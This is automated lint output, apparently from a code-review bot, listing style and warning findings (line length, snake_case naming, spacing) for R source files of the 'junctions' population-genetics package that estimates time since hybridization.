[R/calc_K.R:2:1:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/calc_K.R#L2) *style:* **Lines should not be more than 80 characters.**
```r
#' @description Calculate the average number of junctions after an infinite number of generations, provided information on the initial heterozygosity, population size and the number of generations.
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/calc_K.R:6:1:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/calc_K.R#L6) *style:* **Lines should not be more than 80 characters.**
```r
#' @param C Mean number of crossovers per meiosis (e.g. size in Morgan of the chromosome)
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/calc_K.R:11:20:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/calc_K.R#L11) *style:* **Variable or function name should be snake_case.**
```r
calc_k <- function(N = Inf,
                   ^
```
[R/calc_K.R:12:20:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/calc_K.R#L12) *style:* **Variable or function name should be snake_case.**
```r
                   R = Inf,
                   ^
```
[R/calc_K.R:13:20:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/calc_K.R#L13) *style:* **Variable or function name should be snake_case.**
```r
                   H_0 = 0.5,
                   ^~~
```
[R/calc_K.R:16:3:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/calc_K.R#L16) *style:* **Variable or function name should be snake_case.**
```r
  K <- H_0 * C * 2 * N * R / (2 * N * C + R)
  ^
```
[R/calc_K.R:19:5:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/calc_K.R#L19) *style:* **Variable or function name should be snake_case.**
```r
    K <- H_0 * R
    ^
```
[R/calc_K.R:23:5:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/calc_K.R#L23) *style:* **Variable or function name should be snake_case.**
```r
    K <- H_0 * C * 2 * N
    ^
```
[R/calc_K.R:27:5:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/calc_K.R#L27) *style:* **Variable or function name should be snake_case.**
```r
    K <- Inf
    ^
```
[R/calculate_error.R:2:1:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/calculate_error.R#L2) *style:* **Lines should not be more than 80 characters.**
```r
#' @description Calculate the error in the estimate of the onset of hybridisation, following Equations 3 & 4 in the Supplementary information of Janzen et al. 2018.
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/calculate_error.R:7:1:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/calculate_error.R#L7) *style:* **Lines should not be more than 80 characters.**
```r
#' @param C Mean number of crossovers per meiosis (e.g. size in Morgan of the chromosome)
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/calculate_error.R:9:1:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/calculate_error.R#L9) *style:* **Lines should not be more than 80 characters.**
```r
#' @param relative Boolean flag, if TRUE: return the relative error, if FALSE: return error in generations
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/calculate_error.R:15:24:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/calculate_error.R#L15) *style:* **Variable or function name should be snake_case.**
```r
time_error <- function(J = NA,
                       ^
```
[R/calculate_error.R:16:24:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/calculate_error.R#L16) *style:* **Variable or function name should be snake_case.**
```r
                       N = Inf,
                       ^
```
[R/calculate_error.R:17:24:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/calculate_error.R#L17) *style:* **Variable or function name should be snake_case.**
```r
                       R = Inf,
                       ^
```
[R/calculate_error.R:18:24:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/calculate_error.R#L18) *style:* **Variable or function name should be snake_case.**
```r
                       H_0 = 0.5,
                       ^~~
```
[R/calculate_error.R:24:3:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/calculate_error.R#L24) *style:* **Variable or function name should be snake_case.**
```r
  K <- junctions::calc_k(N, R, H_0, C)
  ^
```
[R/calculate_error.R:30:7:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/calculate_error.R#L30) *style:* **Do not place spaces around code in parentheses or square brackets.**
```r
  if ( relative) return(  error)
      ^
```
[R/calculate_error.R:30:25:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/calculate_error.R#L30) *style:* **Do not place spaces around code in parentheses or square brackets.**
```r
  if ( relative) return(  error)
                        ^
```
[R/calculate_MAT.R:2:1:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/calculate_MAT.R#L2) *style:* **Lines should not be more than 80 characters.**
```r
#' @description Function that calculates the maximum time after hybridization after which the number of junctions can still be reliably used to estimate the onset of hybridization. This is following equation 15 in Janzen et al. 2018.
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/calculate_MAT.R:6:1:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/calculate_MAT.R#L6) *style:* **Lines should not be more than 80 characters.**
```r
#' @param C Mean number of crossovers per meiosis (e.g. size in Morgan of the chromosome)
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/calculate_MAT.R:12:27:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/calculate_MAT.R#L12) *style:* **Variable or function name should be snake_case.**
```r
calculate_mat <- function(N = Inf,
                          ^
```
[R/calculate_MAT.R:13:27:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/calculate_MAT.R#L13) *style:* **Variable or function name should be snake_case.**
```r
                          R = Inf,
                          ^
```
[R/calculate_MAT.R:14:27:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/calculate_MAT.R#L14) *style:* **Variable or function name should be snake_case.**
```r
                          H_0 = 0.5,
                          ^~~
```
[R/calculate_MAT.R:20:3:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/calculate_MAT.R#L20) *style:* **Variable or function name should be snake_case.**
```r
  K <- junctions::calc_k(N, R, H_0, C)
  ^
```
[R/calculate_time.R:1:1:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/calculate_time.R#L1) *style:* **Lines should not be more than 80 characters.**
```r
#' Estimate the time since the onset of hybridization, using the number of junctions
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/calculate_time.R:2:1:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/calculate_time.R#L2) *style:* **Lines should not be more than 80 characters.**
```r
#' @description Estimate the time since the onset of hybridization, following equation 14 in Janzen et al. 2018
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/calculate_time.R:7:1:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/calculate_time.R#L7) *style:* **Lines should not be more than 80 characters.**
```r
#' @param C Mean number of crossovers per meiosis (e.g. size in Morgan of the chromosome)
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/calculate_time.R:11:1:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/calculate_time.R#L11) *style:* **Lines should not be more than 80 characters.**
```r
#' estimate_time(J = J, N = 100, R = 1000, H_0 = 0.5, C = 1)  # should be 200 again
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/calculate_time.R:13:27:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/calculate_time.R#L13) *style:* **Variable or function name should be snake_case.**
```r
estimate_time <- function(J = NA,
                          ^
```
[R/calculate_time.R:14:27:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/calculate_time.R#L14) *style:* **Variable or function name should be snake_case.**
```r
                          N = Inf,
                          ^
```
[R/calculate_time.R:15:27:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/calculate_time.R#L15) *style:* **Variable or function name should be snake_case.**
```r
                          R = Inf,
                          ^
```
[R/calculate_time.R:16:27:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/calculate_time.R#L16) *style:* **Variable or function name should be snake_case.**
```r
                          H_0 = 0.5,
                          ^~~
```
[R/calculate_time.R:28:3:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/calculate_time.R#L28) *style:* **Variable or function name should be snake_case.**
```r
  K <- junctions::calc_k(N, R, H_0, C)
  ^
```
[R/estimate_time_markers.R:1:1:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/estimate_time_markers.R#L1) *style:* **Lines should not be more than 80 characters.**
```r
#' Estimate the time since the onset of hybridization, using the observed number of junctions, taking into account the distribution of markers
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/estimate_time_markers.R:2:1:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/estimate_time_markers.R#L2) *style:* **Lines should not be more than 80 characters.**
```r
#' @description Estimate the time since the onset of hybridization, following equation 1 in Janzen et al. unpublished
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/estimate_time_markers.R:6:1:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/estimate_time_markers.R#L6) *style:* **Lines should not be more than 80 characters.**
```r
#' @param marker_distribution A vector containing the position of all markers in Morgan.
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/estimate_time_markers.R:7:1:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/estimate_time_markers.R#L7) *style:* **Lines should not be more than 80 characters.**
```r
#' @param lower_lim lower limit of the optimization algorithm. Increase if the expected admixture time is relatively ancient
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/estimate_time_markers.R:8:1:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/estimate_time_markers.R#L8) *style:* **Lines should not be more than 80 characters.**
```r
#' @param upper_lim upper limit of hte optimization algorithm. If set too large, recent admixture events can be overlooked - best to set as low as possible.
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/estimate_time_markers.R:12:1:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/estimate_time_markers.R#L12) *style:* **Lines should not be more than 80 characters.**
```r
#' J <- number_of_junctions_markers(N = 100, H_0 = 0.5, t = 200, marker_distribution = markers)
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/estimate_time_markers.R:18:35:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/estimate_time_markers.R#L18) *style:* **Variable or function name should be snake_case.**
```r
estimate_time_markers <- function(J = NA,
                                  ^
```
[R/estimate_time_markers.R:19:35:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/estimate_time_markers.R#L19) *style:* **Variable or function name should be snake_case.**
```r
                                  N = Inf,
                                  ^
```
[R/estimate_time_markers.R:20:35:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/estimate_time_markers.R#L20) *style:* **Variable or function name should be snake_case.**
```r
                                  H_0 = 0.5,
                                  ^~~
```
[R/estimate_time_markers.R:34:71:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/estimate_time_markers.R#L34) *style:* **Do not place spaces around code in parentheses or square brackets.**
```r
  fitted <- stats::optimize(to_fit, interval = c(lower_lim, upper_lim) )
                                                                      ^
```
[R/estimate_time_phased.R:2:57:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/estimate_time_phased.R#L2) *style:* **Variable or function name should be snake_case.**
```r
get_prob_from_matrix_phased <- function(left, right, p, P) {
                                                        ^
```
[R/estimate_time_phased.R:108:19:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/estimate_time_phased.R#L108) *warning:* **no visible global function definition for ‘single_state’**
```r
  seven_states <- single_state(local_time, N = pop_size, d = di)
                  ^~~~~~~~~~~~
```
[R/estimate_time_phased.R:135:23:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/estimate_time_phased.R#L135) *style:* **Do not place spaces around code in parentheses or square brackets.**
```r
    final_prob <- log( rel_prob )
                      ^
```
[R/estimate_time_phased.R:135:32:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/estimate_time_phased.R#L135) *style:* **Do not place spaces around code in parentheses or square brackets.**
```r
    final_prob <- log( rel_prob )
                               ^
```
[R/estimate_time_phased.R:138:10:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/estimate_time_phased.R#L138) *style:* **Do not place spaces around code in parentheses or square brackets.**
```r
  return( log(focal_prob))
         ^
```
[R/estimate_time_phased.R:142:1:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/estimate_time_phased.R#L142) *style:* **Lines should not be more than 80 characters.**
```r
#' @description Calculates the time since admixture, given unphased ancestry data.
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/estimate_time_phased.R:143:1:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/estimate_time_phased.R#L143) *style:* **Lines should not be more than 80 characters.**
```r
#' @param local_anc_matrix Local_anc can be provided as either matrix with two columns, where the first column represents ancestry on chromosome 1, and the second column represents ancestry on chromosome 2. Ancestry labels used should be [0, 1], where 0 indicates the first ancestor, and 1 indicates the second ancestor. Alternatively, the user can provide a vector using labels indicating whether at the specific marker, the focal individual is homozygous for the first ancestor (label = 1), homozygous for the second ancestor (label = 2), heterozygous [0,1] (label = 3) or heterozygous [1, 0] (label = 4).
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/estimate_time_phased.R:147:1:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/estimate_time_phased.R#L147) *style:* **Lines should not be more than 80 characters.**
```r
#' @param lower_lim lower limit of the optimization algorithm. Increase if the expected admixture time is relatively ancient
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/estimate_time_phased.R:148:1:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/estimate_time_phased.R#L148) *style:* **Lines should not be more than 80 characters.**
```r
#' @param upper_lim upper limit of hte optimization algorithm. If set too large, recent admixture events can be overlooked - best to set as low as possible.
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/estimate_time_phased.R:149:1:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/estimate_time_phased.R#L149) *style:* **Lines should not be more than 80 characters.**
```r
#' @param optim_pop_size If TRUE, population size is also optimized. Starting point of the optimizaton will then be on the given population size, and half the maximum time.
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/estimate_time_phased.R:184:11:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/estimate_time_phased.R#L184) *style:* **Do not place spaces around code in parentheses or square brackets.**
```r
  if (sum( labels %in% 1:4) != length(labels)) {
          ^
```
[R/estimate_time_phased.R:191:58:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/estimate_time_phased.R#L191) *style:* **Do not place spaces around code in parentheses or square brackets.**
```r
                      local_anc[2:length(local_anc)]      )
                                                         ^
```
[R/estimate_time_unphased.R:2:50:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/estimate_time_unphased.R#L2) *style:* **Variable or function name should be snake_case.**
```r
get_prob_from_matrix <- function(left, right, p, P) {
                                                 ^
```
[R/estimate_time_unphased.R:12:24:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/estimate_time_unphased.R#L12) *style:* **Do not place spaces around code in parentheses or square brackets.**
```r
    prob <- (p ^ 2) * ( P[1] + P[4] + P[7] ) +
                       ^
```
[R/estimate_time_unphased.R:12:43:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/estimate_time_unphased.R#L12) *style:* **Do not place spaces around code in parentheses or square brackets.**
```r
    prob <- (p ^ 2) * ( P[1] + P[4] + P[7] ) +
                                          ^
```
[R/estimate_time_unphased.R:18:22:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/estimate_time_unphased.R#L18) *style:* **Do not place spaces around code in parentheses or square brackets.**
```r
    prob <- p * q * ( p * q * P[3] +
                     ^
```
[R/estimate_time_unphased.R:35:24:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/estimate_time_unphased.R#L35) *style:* **Do not place spaces around code in parentheses or square brackets.**
```r
    prob <- (q ^ 2) * ( P[1] + P[4] + P[7]) +
                       ^
```
[R/estimate_time_unphased.R:88:19:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/estimate_time_unphased.R#L88) *warning:* **no visible global function definition for ‘single_state’**
```r
  seven_states <- single_state(local_time, N = pop_size, d = di)
                  ^~~~~~~~~~~~
```
[R/estimate_time_unphased.R:115:23:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/estimate_time_unphased.R#L115) *style:* **Do not place spaces around code in parentheses or square brackets.**
```r
    final_prob <- log( rel_prob )
                      ^
```
[R/estimate_time_unphased.R:115:32:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/estimate_time_unphased.R#L115) *style:* **Do not place spaces around code in parentheses or square brackets.**
```r
    final_prob <- log( rel_prob )
                               ^
```
[R/estimate_time_unphased.R:118:12:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/estimate_time_unphased.R#L118) *style:* **Do not place spaces around code in parentheses or square brackets.**
```r
    return( log(focal_prob))
           ^
```
[R/estimate_time_unphased.R:175:11:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/estimate_time_unphased.R#L175) *style:* **Do not place spaces around code in parentheses or square brackets.**
```r
  if (sum( labels %in% 1:3) != length(labels)) {
          ^
```
[R/estimate_time_unphased.R:182:58:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/estimate_time_unphased.R#L182) *style:* **Do not place spaces around code in parentheses or square brackets.**
```r
                      local_anc[2:length(local_anc)]      )
                                                         ^
```
[R/number_of_junctions_backcross.R:2:1:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/number_of_junctions_backcross.R#L2) *style:* **Lines should not be more than 80 characters.**
```r
#' @description Calculate the expected number of junctions after t generations, in a backcrossing mating scheme.
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/number_of_junctions_backcross.R:4:1:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/number_of_junctions_backcross.R#L4) *style:* **Lines should not be more than 80 characters.**
```r
#' @param C Mean number of crossovers per meiosis (e.g. size in Morgan of the chromosome)
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/number_of_junctions_backcross.R:10:43:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/number_of_junctions_backcross.R#L10) *style:* **Variable or function name should be snake_case.**
```r
number_of_junctions_backcross <- function(H_0 = 0.5,
                                          ^~~
```
[R/number_of_junctions_di.R:2:1:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/number_of_junctions_di.R#L2) *style:* **Lines should not be more than 80 characters.**
```r
#' Calculate the expected number of junctions between two markers separated by a given amount of recombination
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/number_of_junctions_di.R:3:1:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/number_of_junctions_di.R#L3) *style:* **Lines should not be more than 80 characters.**
```r
#' @description Calculate the expected number of junctions after t generations, provided information on the initial heterozygosity, population size, the number of generations since the onset of admixture and the distance between two markers.
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/number_of_junctions_di.R:12:36:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/number_of_junctions_di.R#L12) *style:* **Variable or function name should be snake_case.**
```r
number_of_junctions_di <- function(N = Inf,
                                   ^
```
[R/number_of_junctions_di.R:13:36:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/number_of_junctions_di.R#L13) *style:* **Variable or function name should be snake_case.**
```r
                                   H_0 = 0.5,
                                   ^~~
```
[R/number_of_junctions_markers.R:1:1:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/number_of_junctions_markers.R#L1) *style:* **Lines should not be more than 80 characters.**
```r
#' Calculate the expected total number of junctions in a chromosome, given the distribution of markers
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/number_of_junctions_markers.R:2:1:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/number_of_junctions_markers.R#L2) *style:* **Lines should not be more than 80 characters.**
```r
#' @description Calculate the expected number of junctions after t generations, provided information on the initial heterozygosity, population size, the number of generations since the onset of admixture and the distribution of markers.
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/number_of_junctions_markers.R:6:1:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/number_of_junctions_markers.R#L6) *style:* **Lines should not be more than 80 characters.**
```r
#' @param marker_distribution A vector containing the position of all markers in Morgan.
